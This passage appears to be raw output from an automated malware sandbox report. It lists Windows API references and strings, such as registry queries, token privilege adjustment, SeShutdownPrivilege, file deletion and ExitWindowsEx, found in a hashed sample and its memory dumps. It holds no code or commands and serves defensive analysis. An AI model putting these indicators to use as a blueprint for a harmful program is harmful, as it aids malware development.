"6NB6dz2.exe.1433957273") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")45:Td6b,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")46:T690,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")47:Tf44,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")48:T66f,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")49:T763,Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found string "\Device\HarddiskVolume2\e410310c63297392eb3ce82844bfe3e7.exe" (Indicator: "\Device\"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp")4a:Tb3c,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")4b:T97d,Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")4c:Tb35,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003484.00000001.70797.00831000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003484.00000001.70797.00831000.00000020.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003812.00000002.72677.000F1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003812.00000002.72677.000F1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00008168.00000000.68786.00E81000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00008168.00000000.68786.00E81000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")4d:T9c5,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")4e:T11e9,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")4f:T480,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "6NB6dz2.exe.1433957273") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")50:Tada,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: e410310c63297392eb3ce82844bfe3e7.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: e410310c63297392eb3ce82844bfe3e7.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: e410310c63297392eb3ce82844bfe3e7.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: e410310c63297392eb3ce82844bfe3e7.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: e410310c63297392eb3ce82844bfe3e7.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Uj4GY78.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Uj4GY78.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Uj4GY78.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Uj4GY78.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Uj4GY78.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: wn3FW36.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: wn3FW36.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: wn3FW36.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: wn3FW36.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: wn3FW36.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5Sq0QJ6.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5Sq0QJ6.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5Sq0QJ6.exe]51:T400,Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "ExitWindows"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") file/memory contains long string with 